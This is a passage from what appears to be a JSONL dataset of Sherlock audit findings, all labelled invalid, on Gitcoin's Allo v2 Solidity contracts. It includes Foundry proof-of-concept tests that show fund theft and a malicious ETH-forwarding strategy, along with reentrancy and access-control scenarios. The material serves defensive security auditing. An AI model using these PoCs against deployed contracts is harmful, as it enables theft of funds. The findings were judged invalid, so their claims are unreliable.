makeAddr(\"malicious\");\n }\n\n function __generateAllocation(address _recipient, uint256 _amount) internal view virtual returns (bytes memory) {\n return abi.encode(_recipient, _amount);\n }\n //in case of registryGating =false \n //when using registry anchor, the ID of the recipient must be a profile member\n //so return abi.encode(recipient1(), _recipientId,metadata);\n function __generateRecipientWithId(address _recipientId) internal virtual returns (bytes memory) {\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"metadata\"});\n \n return abi.encode(recipient1(), _recipientId,metadata);\n }\n \n //QVBaseStrategy\n function qvStrategy() internal view returns (QVBaseStrategy) {\n return (QVBaseStrategy(_strategy));\n }\n}\n\nRunning 1 test for test/foundry/strategies/QVBaseStrategyPoc.t.sol:QVBaseStrategyTest\n[PASS] test_m_distribute() (gas: 612606)\nLogs:\n profile1_owner recipientAddress: 0xDCACcbF48225b2B2AF81351FE52FBD0eDF02aDff\n profile1_owner recipientId: 0xad5FDFa74961f0b6F1745eF0A1Fa0e115caa9641\n Malicious member recipientAddress: 0x9BCe6041b95E156653669537A68A060564458449\n Malicious member recipientId: 0xad5FDFa74961f0b6F1745eF0A1Fa0e115caa9641\n After distribute\n profile1_owner recipientAddress balance: 0\n Malicious member recipientAddress balance: 990000000000000000\n```\n\n## Impact\nMalicious profile member can steal token ,leading to loss of funds for pool\nAffects the fairness of protocol\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L369\n\n## Tool used\nManual Review\n\n## Recommendation\n\nLock already allocated recipientId ,add verification process in RegisterRecipient()","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/386.md"}} +{"title":"Problem in in the order of operations of the function generateAnchor","severity":"info","body":"Prehistoric Blue Coyote\n\nhigh\n\n# Problem in in the order of operations of the function generateAnchor\nin the order of operations of the function generateAnchor is an issue see the vulnerability details for more details \n## Vulnerability Detail\n\nThe vulnerable part : \n\n```solidity \nif (preCalculatedAddress.code.length > 0) {\n if (Anchor(payable(preCalculatedAddress)).profileId() != _profileId) revert ANCHOR_ERROR();\n\n anchor = preCalculatedAddress;\n}\n```\n- the problem in the order of operations. the function first check if a contract exists at preCalculatedAddress and then, if it does, access its profileId so An attacker could exploit this by deploying a malicious contract at that address with a reentrant fallback function letā€™s go for more explaining . \nAs an Initial State for the scenario :\n- in contract, let's call it our contact , has the _generateAnchor function and we have An attacker has a Malicious Contract, with a reentrant fallback function.\nHe is the Scenario:\n- Attacker deploys Malicious Contract and targets our contact that contain issue.\n- Attacker obtains a profileId as an example let's say it's \"123\" and calculates a specific salt such that keccak256(abi.encodePacked(\"123\", _name)) results in the same salt as what the _generateAnchor function would produce.\n- Attacker calls _generateAnchor(\"123\", _name) on our contract, where _name is the name they want to use. in the vulnerable function \n- so proceeds with the following:\n- Checks if the contract already exists at preCalculatedAddress.\n- If it does, it checks if the profileId in that contract matches \"123\". If it doesn't, it reverts with ANCHOR_ERROR.\n- Before the revert due to ANCHOR_ERROR, the attacker that use Malicious Contract intercepts the call and executes its reentrant fallback function.\n- In the fallback function in Malicious Contract, it calls back into the contract, and modifying state or causing unexpected behaviors.\n- As result Result:\nThe attacker that use Malicious Contract it was able to execute code in between the if condition check and the revert due to ANCHOR_ERROR.\n\n## Impact\n\nAn attacker can deploy a malicious contract that, when called, enter into a reentrant state. This malicious contract can then call back into the _generateAnchor function before the ANCHOR_ERROR is reverted. This happen Depending on the logic of the malicious contract, and lead to unexpected behaviors.\n\n## Code Snippet\n- https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L340C9-L344C43\n## Tool used\n\nManual Review\n\n## Recommendation\nThis update can fix the vulnerability that to ensures that no interactions with existing contracts happen before completing the necessary checks\n```solidity \nfunction _generateAnchor(bytes32 _profileId, string memory _name) internal returns (address anchor) {\n bytes32 salt = keccak256(abi.encodePacked(_profileId, _name));\n\n address preCalculatedAddress = CREATE3.getDeployed(salt);\n\n // Check if the contract already exists and if the profileId matches\n if (preCalculatedAddress.code.length > 0) {\n if (Anchor(payable(preCalculatedAddress)).profileId() != _profileId) {\n revert ANCHOR_ERROR();\n }\n\n anchor = preCalculatedAddress;\n } else {\n // Check if the contract has already been deployed by checking code size of address\n bytes memory creationCode = abi.encodePacked(type(Anchor).creationCode, abi.encode(_profileId));\n anchor = CREATE3.deploy(salt, creationCode, 0);\n }\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/385.md"}} +{"title":"Allo@fundPool can still increase strategies poolAmount for pools created with the address(0) as a token","severity":"info","body":"Curved Chocolate Iguana\n\nhigh\n\n# Allo@fundPool can still increase strategies poolAmount for pools created with the address(0) as a token\n`Allo@fundPool` can still be called for pools that have `address(0)` as a token, triggering a `poolAmount` increase for the corresponding strategies even if no tokens are transferred.\n\n## Vulnerability Detail\nAnyone can call `Allo@fundPool` for any pool, even the ones with `address(0)` as a token. Since `SafeTransferLib@safeTransferFrom` does not fail if the token is `address(0)`, the corresponding strategy gets its `poolAmount` increased even if no tokens were transferred.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L43\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517\n\n## Impact\n`poolAmount` for a pool strategy can be increased even if no tokens are transferred.\n\n## Code Snippet\n```solidity\n function testfundPoolAddress0() public {\n vm.prank(pool_admin());\n\n uint256 poolId = allo().createPoolWithCustomStrategy(\n poolProfile_id(), strategy, \"0x\", address(0), 0, metadata, pool_managers()\n );\n\n allo().fundPool(poolId, 1 ether);\n\n assertEq(IStrategy(strategy).getPoolAmount(), 0);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nhttps://github.com/sherlock-audit/2023-09-Gitcoin-imsrybr0/issues/3 happens to fix this too as the `balanceOf` calls revert for the `address(0)`.\n\nAlternatively / additionally, a check can be added to `Allo@_fundPool` to short circuit if the pool token is the `address(0)`\n```solidity\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (_token == address(0)) {\n return;\n }\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n\n## Additional Comments\nThis may also impact other parts of the system like `DonationVotingMerkleDistributionBaseStrategy@withdraw` where `poolAmount` can be decreased even if no tokens are transferred.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/382.md"}} +{"title":"createPoolWithCustomStrategy in Allo.sol is reentrant","severity":"info","body":"Merry Cinnabar Orca\n\nhigh\n\n# createPoolWithCustomStrategy in Allo.sol is reentrant\nUnlike `createPool` which has a `nonReentrant` check, `createPoolWithCustomStrategy` doesn't have the same check in place\n## Vulnerability Detail\nRe-entrancy vulnerability.\n## Impact\n1) With two methods trying to achieve similar result in a different fashion, have them different like that might lead to confusion or potential issues down the road, especially if `_createPool` is modified.\n2) `_createPool` could potentially allow re-entrancy\n## Code Snippet\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/Allo.sol#L152\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/375.md"}} +{"title":"Can create pool with custom strategy without funds","severity":"info","body":"Dazzling Clay Blackbird\n\nhigh\n\n# Can create pool with custom strategy without funds\nIn `Allo.sol`, a user can create a new pool without funds by deploying a malicious strategy that transfers the ETH funds back to the strategy owner via `receive()`. The transfer of funds will be considered successful and the `poolAmount` will get incremented with no issue. \n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517\n\n## Vulnerability Detail\n\n1. A user can create a pool with a custom malicious strategy `createPoolWithCustomStrategy()`. \n2. This will call `_fundPool()` where the funds will get sent to the strategy. `_transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));`\n3. The strategy will receive ETH via receive():\n```solidity\nreceive() external payable {\n // Transfer the received Ether to the owner\n payable(owner).transfer(msg.value);\n}\n```\n4. The `poolAmount` will be incremented by `amountAfterFee` with no issue even though the strategy doesn't have the ETH balance.\n```solidity\n_strategy.increasePoolAmount(amountAfterFee);\n```\n\n## Impact\nUsers will see that the pool has funds via `getPoolAmount()` when it actually doesn't. If they execute `fundPool`, they can lose their funds via `fundPool`. \n\n## Code Snippet\n\n```solidity \nfunction _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n \n // token = NATIVE\n>> _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee})); \n>> _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo avoid mismatch between the actual Strategy contract balance and `poolAmount`, it's recommended to check the balance and revert if there's a mismatch. \n\n```solidity\nuint256 beforeStrategyBalance = _token == NATIVE ? address(_strategy).balance : IERC20Upgradeable(_token).balanceOf(address(_strategy));\n\n_transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n \nuint256 afterStrategyBalance = _token == NATIVE ? address(_strategy).balance : IERC20Upgradeable(_token).balanceOf(address(_strategy));\nrequire(afterStrategyBalance - beforeStrategyBalance == amountAfterFee, \"Allo: strategy balance mismatch\");\n\n_strategy.increasePoolAmount(amountAfterFee);\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/374.md"}} +{"title":"Wrong check in Allo::createPool() force users to pay extra","severity":"info","body":"Sticky Mandarin Python\n\nmedium\n\n# Wrong check in Allo::createPool() force users to pay extra\n\n**`Allo::createPool()`** have a wrong check which will force users to pay more eth than inteded.\n\n## Vulnerability Detail\n\n***Here is the check implementation:***\n\n```solidity\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```\n\n***Now, let's break down the check:***\n\n- The first part checks if **`token == ETH`** and whether the sum of `**baseFee + _amount >= msg.value`**. This part essentially checks if there are enough funds (Ether) to cover the fee and the amount being sent when dealing with Ether.\n\n- The second part checks if **`_token != ETH`** (meaning it's another token) and whether `**baseFee >= msg.value`**. This part checks if there are enough funds (of the other token) to cover the fee.\n\nThe issue is that the check will revert with **`NOT_ENOUGH_FUNDS`** if the creator sends exactly the required amount.\n\n## Impact\n\nCreators will have to pay extra which is not intended and will cause external integration and UI problems due to the incorrect check logic.\n\n## Code Snippet\n\n- [Allo.sol#L473](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTo address this issue, we recommend updating the function as follow:\n\n```solidity\n if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/373.md"}} +{"title":"The access control in updateDistribution() can potentially be bypassed by an attacker","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# The access control in updateDistribution() can potentially be bypassed by an attacker\nThe access control in updateDistribution() can potentially be bypassed by an attacker.\n## Vulnerability Detail\nThe updateDistribution() function has the following modifier: [Link 1](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L422-L423). This requires that:\n 1. The allocation period has ended\n 2. msg.sender is a pool manager\n \nHowever, there is a logic flaw that could allow the pool manager check to be bypassed:\nThe _checkOnlyActiveAllocation modifier only checks: [Link 2](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L466-L467)\n\nIt does NOT check that msg.sender is a pool manager.\nAn attacker could exploit this by:\n1. Waiting until after official allocationEndTime\n2. Calling updateDistribution() directly without being a pool manager\nSince onlyAfterAllocation passes, the unauthorized user can update the distribution.\n\n\n## Impact\nThis flaw allows anyone to update the distribution after allocation ends. Attackers could wrongly set the merkle root and distribution metadata. This could disrupt the intended payouts\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L422-L423\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L466-L467\n\n## Tool used\n\nManual Review\n\n## Recommendation \nThe proper fix is to move the pool manager check outside the modifiers. This ensures the manager check occurs before the allocation timing check.\nThe manager check should also use an access control list instead of isPoolManager() for better security.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/370.md"}} +{"title":"DonationVotingMerkleDistributionVaultStrategy recipients can change recipientAddress and metadata after being allocated to","severity":"info","body":"Sneaky Amethyst Robin\n\nmedium\n\n# DonationVotingMerkleDistributionVaultStrategy recipients can change recipientAddress and metadata after being allocated to\n\nLack of validation allows users to change their recipient data after being allocated to, effectively changing what an allocator has funded while maintaining the ability for the recipient to claim their allocation even though they're no longer accepted.\n\n## Vulnerability Detail\n\nIt's only possible to allocate to a recipient if they have been accepted. It's possible however for a recipient to re-register after being allocated to. This is possible because timestamp validation logic doesn't validate that there is no overlap between the registration and allocation periods, i.e. it doesn't enforce that registration end time is less than allocation start time. It's also not required for a recipient to be accepted to claim an allocation. As a result, a recipient can re-register after being allocated to change their metadata or recipient address to values that the allocator did not expect and may not support, while still being able to claim that allocation and connecting that allocator to their new registration status.\n\nConsider an example in which an allocator is allocated to a recipient whose `recipientAddress` is an immutable smart contract in which the allocator can be certain as to how the funds will be used. If the recipient can simply change the `recipientAddress` after being allocated, then they can trick allocators and run away with the tokens.\n\nConsider another example in which an allocator allocates to a recipient for a good cause as is included in the metadata. The recipient could simply change the metadata after allocation to some terrible thing that the allocator would not like to be associated with.\n\n## Impact\n\nRecipients can change what allocators had allocated to after they have already allocated those funds.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L496\n```solidity\n// @audit doesn't enforce that registrationEndTime < allocationStartTime\nfunction _isPoolTimestampValid(\n uint64 _registrationStartTime,\n uint64 _registrationEndTime,\n uint64 _allocationStartTime,\n uint64 _allocationEndTime\n) internal view {\n if (\n block.timestamp > _registrationStartTime || _registrationStartTime > _registrationEndTime\n || _registrationStartTime > _allocationStartTime || _allocationStartTime > _allocationEndTime\n || _registrationEndTime > _allocationEndTime\n ) {\n revert INVALID();\n }\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTimestamp validation logic should include a check to enforce that the registration and allocation periods do not have overlap.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/369.md"}} +{"title":"`Transfer._transferAmountsFrom` reverts if the msg context doesn't have the exact value that it expects to transfer in ETH","severity":"info","body":"Sneaky Amethyst Robin\n\nmedium\n\n# `Transfer._transferAmountsFrom` reverts if the msg context doesn't have the exact value that it expects to transfer in ETH\n\n`_transferAmountsFrom` reverts if the msg.value is not entirely used by the transfers. However, this is an internal function and the message context could include additional msg.value used for other purposes, in which case execution will be reverted.\n\n## Vulnerability Detail\n\n`_transferAmountsFrom` includes a check which reverts if the remaining msg.value is not 0 after transferring all the ETH which is intended during execution. This unsafely assumes that the msg context will never include additional `value` that's not being transferred as part of `_transferAmountsFrom`'s execution, resulting in a revert if ever there is additional msg.value.\n\nConsider for example a contract which splits ETH to different addresses using `_transferAmountsFrom`, but also accepts a fee. In this case, the function does not use all the msg.value just for transferring the tokens as it maintains some as a fee. In this case, the function will always revert. \n\nAdditionally, if a contract transferred tokens using this function, there could not be any msg.value in the same context as usage of `_transferAmountsFrom`.\n\n## Impact\n\nUnexpected reverts due to assumption that all msg.value is used in internal function.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/libraries/Transfer.sol#L61\n```solidity\n// @audit msg.value can no longer carry additional eth used for other purposes\nif (msgValue != 0) revert AMOUNT_MISMATCH();\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nLogic should instead simply validate that there is sufficient msg.value to process all transfers, i.e. only revert if msg.value is strictly less than the total amount to transfer.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/367.md"}} +{"title":"The owner can recover funds even when changing Anchor","severity":"info","body":"Decent Brunette Aphid\n\nmedium\n\n# The owner can recover funds even when changing Anchor\nWhen `updateProfile()` is called, a new `Anchor.sol` has been implemented for a new name and the owner can return to the previous Anchor; however, the owner still has access to the funds when the `Anchor.sol` is changed.\n\n\n## Vulnerability Detail\n\nWhen you use `Registry.updateName()`, the Allo protocol wants the owner to lose the reputation gained from your previous legitimate project.\n\nThey want the anchor to be attached to the profile so that when a name change is made, the previous anchors cannot be used as long as it is not the anchor that is attached to the profile.\n\nTherefore, the owner cannot recover the anchor funds when he exchanges the anchor for a new one. But as we will see in the test, this is not true, since even when the name is changed and the profile changes to the new `Anchor.sol`.\n\n The owner can still successfully call the `execute()` function for all previous anchor deployed.\n\nSince there is no verification that confirms that it is the Anchor that is active and that it is the only one for the profile at that moment.\n\n```solidity\npragma solidity 0.8.19;\n\nimport \"forge-std/Test.sol\";\nimport {Anchor} from \"../../../contracts/core/Anchor.sol\";\nimport {Registry} from \"../../../contracts/core/Registry.sol\";\nimport {Metadata} from \"../../../contracts/core/libraries/Metadata.sol\";\nimport {IRegistry} from \"../../../contracts/core/interfaces/IRegistry.sol\";\n\n\ncontract AttackRegistryT is Test {\n Anchor public anchor;\n Registry public registry;\n\n address payable bob = payable(makeAddr(\"bob\"));\n address payable alice = payable(makeAddr(\"alice\"));\n\n function setUp() public {\n registry = new Registry();\n registry.initialize(msg.sender);\n }\n \n function test_getFundTheOldAnchor() public {\n vm.deal(bob,1000 ether);\n vm.startPrank(bob);\n Metadata memory metadata = Metadata({protocol: 1, pointer: \"test metadata\"});\n address[] memory emptyArray = new address[](0);\n // Create a profile\n bytes32 profileId = registry.createProfile(0,\"test\", metadata,address(bob),emptyArray);\n Registry.Profile memory profile = registry.getProfileById(profileId);\n address payable anchorAddress = payable(profile.anchor); \n anchor = Anchor(anchorAddress);\n\n // Alice send fund to Anchor 1\n vm.deal(alice,10 ether);\n vm.startPrank(alice);\n uint256 balanceBefore = address(anchorAddress).balance;\n (bool success, ) = payable(anchorAddress).call{value: 1 ether}(\"\");\n require(success);\n uint256 balanceAfter = address(anchorAddress).balance;\n assertEq(balanceBefore + 1 ether, balanceAfter);\n \n // Bod (Owner) try to change the name\n vm.startPrank(bob);\n // New anchor was created (Anchor 2)\n address newAnchor = registry.updateProfileName(profileId,\"test 2\");\n // Anchor's address are differents\n assertTrue(anchorAddress!=newAnchor);\n \n // Set correct registry\n anchor.setRegistry(address(registry));\n // Call execute() Anchor 1\n anchor.execute(address(payable(bob)),1 ether, \"\");\n // Check the Anchor 1 have dont funds\n balanceAfter = address(anchorAddress).balance;\n assertEq(0, balanceAfter);\n assertEq(0,address(anchor).balance);\n\n }\n\n```\nNote: if you want to run this test, you have to add the lines of code for a correct implementation of the `registry`: \n```solidity\n function setRegistry(address registryAddress) public {\n registry = Registry(registryAddress);\n }\n```\n_Anchor.sol_\nThis function is not recommended for use in production, it is only for testing purposes.\n\n## Impact\n\nThe Allo protocol wants the anchor to be connected to the profile when it is active, but there is no variable that determines that a single Anchor for a profile is active, all anchors generated by the owner will always be active.\n\nTherefore, the owner can recover funds from the previous anchor. Allo protocol does not want this to happen.\n\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L177-L203\n\n## Tool used\n\n* Manual Review\n* Foundry\n\n\n## Recommendation\n\nAdd a verification inside the `Anchor.execute()` function, that when the owner call `Registry.updateProfileName()` that change a status for the previus `Anchor.sol` and it is not active.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/366.md"}} +{"title":"QVSimpleStrategy doesn't accept ETH","severity":"info","body":"Sneaky Amethyst Robin\n\nmedium\n\n# QVSimpleStrategy doesn't accept ETH\n\nContrary to assumed intention, QVSimpleStrategy has no `receive` or `fallback` function to accept ETH as funding.\n\n## Vulnerability Detail\n\nQVSimpleStrategy has no `receive` or `fallback` method to accept ETH as funding. Since every other strategy accepts ETH as funding, and there's no clear reason as to why this strategy should not also accept ETH, I believe that this is unintended. There is also no logic that prevents ETH as being the token used during initialization which can result in a costly deployment of a strategy which doesn't function as intended.\n\n## Impact\n\nQVSimpleStrategy cannot accept ETH as funding, potentially resulting in a costly deployment of a strategy which doesn't function as intended.\n\n## Code Snippet\n\nhttps://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L30\n\n(lack of logic)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nInclude a `receive` method as is done with the other strategies, or if not intended to accept ETH, prevent the pool token as being set to ETH in initialization logic.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/363.md"}} +{"title":"RFPCommitteeStrategy.sol#_allocate()","severity":"info","body":"Brilliant Chambray Reindeer\n\nmedium\n\n# RFPCommitteeStrategy.sol#_allocate()\nThe internal `_allocate` function inside `RFPCommitteStrategy` sets the `acceptedRecipientId` for that specific strategy. There is also a vote threshold that must be reached in order to set the recipient as accepted. The problem is that this function has a modifier `onlyPoolManager`, so only the pool manager can call this function and there is only one pool manager per strategy. If he sets the `voteThreshold` to > 1 upon the strategy's initialization, then there can never be an accepted recipient, since only one address can call this function.\n\n## Vulnerability Detail\nHere is the `_allocate` function.\n\n```javascript\n /// @notice Select recipient for RFP allocation\n /// @dev This is called by the pool manager. The recipient is accepted when the vote threshold is reached.\n /// Emits `Allocated` event and `Voted` event.\n /// @param _data The data to be decoded\n /// @param _sender The sender of the allocation\n function _allocate(bytes memory _data, address _sender) internal override onlyPoolManager(_sender) {\n if (acceptedRecipientId != address(0)) {\n revert RECIPIENT_ALREADY_ACCEPTED();\n }\n\n // Check if the allocator has already casted the vote\n address voteCastedTo = votedFor[_sender];\n if (voteCastedTo != address(0)) {\n // remove the old vote to allow recasting of vote\n votes[voteCastedTo] -= 1;\n }\n\n // Decode the '_data'\n address recipientId = abi.decode(_data, (address));\n\n // Increment the votes for the recipient\n votes[recipientId] += 1;\n // Update the votedFor mapping\n votedFor[_sender] = recipientId;\n\n // Emit the event\n emit Voted(recipientId, _sender);\n\n // Check if the recipient has reached the vote threshold\n if (votes[recipientId] == voteThreshold) {\n // Set the accepted recipient\n acceptedRecipientId = recipientId;\n\n Recipient storage recipient = _recipients[acceptedRecipientId];\n recipient.recipientStatus = Status.Accepted;\n\n // Set the pool to inactive\n _setPoolActive(false);\n\n emit Allocated(acceptedRecipientId, recipient.proposalBid, allo.getPool(poolId).token, address(0));\n }\n }\n```\n\nWe can see that only when a recipient has reached the `voteThreshold`, only then he becomes the accepted recipient. The problem, as stated above, is that if `voteThreshold` is > 1, this can never be reached, as only the pool manager can call this function and only he gets to cast a vote.\n\n## Impact\nThe strategy will never have an accepted recipient and the strategy will never work correctly.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L102-L138\n\n## Tool used\nManual Review\n\n## Recommendation\nOne fix is to allow for everyone to call `_allocate` so they can cast their vote.\nAnother fix is to allow the pool manager to specify who is casting the vote and to whom they cast their vote. The pool manager can get this information off-chain or whatever other way the protocol team decides.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/362.md"}} +{"title":"The allocationEnd time check can be circumvented in the DonationVotingMerkleDistributionBaseStrategy contract. This could allow an attacker to distribute funds even after the allocation period has ended","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# The allocationEnd time check can be circumvented in the DonationVotingMerkleDistributionBaseStrategy contract. This could allow an attacker to distribute funds even after the allocation period has ended\nThe allocationEnd time check can be circumvented in the DonationVotingMerkleDistributionBaseStrategy contract. This could allow an attacker to distribute funds even after the allocation period has ended\n## Vulnerability Detail\nThe _allocate() function has the onlyActiveAllocation modifier, which checks that the allocation period is still active: [Link 1](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L214-L216) , [Link 2](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L640) , [Link 3](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L465-L469)\nHowever, the _distributeSingle() function, which actually transfers the tokens, does not have this check. An attacker could call _distributeSingle() directly even after allocationEnd time to distribute funds.\n## Impact\nThis allows bypassing the allocation end time check and can lead to unauthorized distribution of funds.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L214-L216\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L640\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L465-L469\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L774\n## Tool used\n\nManual Review\n\n## Recommendation \n_distributeSingle() should also have the onlyActiveAllocation modifier to check that allocation period is still active before distributing funds.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/359.md"}} +{"title":"Milestone metadata can be modified after distribution","severity":"info","body":"Sneaky Amethyst Robin\n\nmedium\n\n# Milestone metadata can be modified after distribution\n\nRFP Strategy recipients can reenter upon receiving distribution of milestone payment to re-submit the milestone metadata, resulting in a milestone being paid out with unapproved metadata.\n\n## Vulnerability Detail\n\n`RFPSimpleStrategy._distribute` transfers the milestone payment to the recipient before setting the milestone as accepted and incrementing the upcoming milestone. As a result, if the payment is in ETH, the recipient can reenter and call `submitUpcomingMilestone` to change the accepted milestone which has just been paid out to them to have arbitrary metadata which has not been accepted by the pool manager, permanently storing that milestone with unapproved metadata.\n\n## Impact\n\nMilestone recipients can set unapproved, immutable milestone 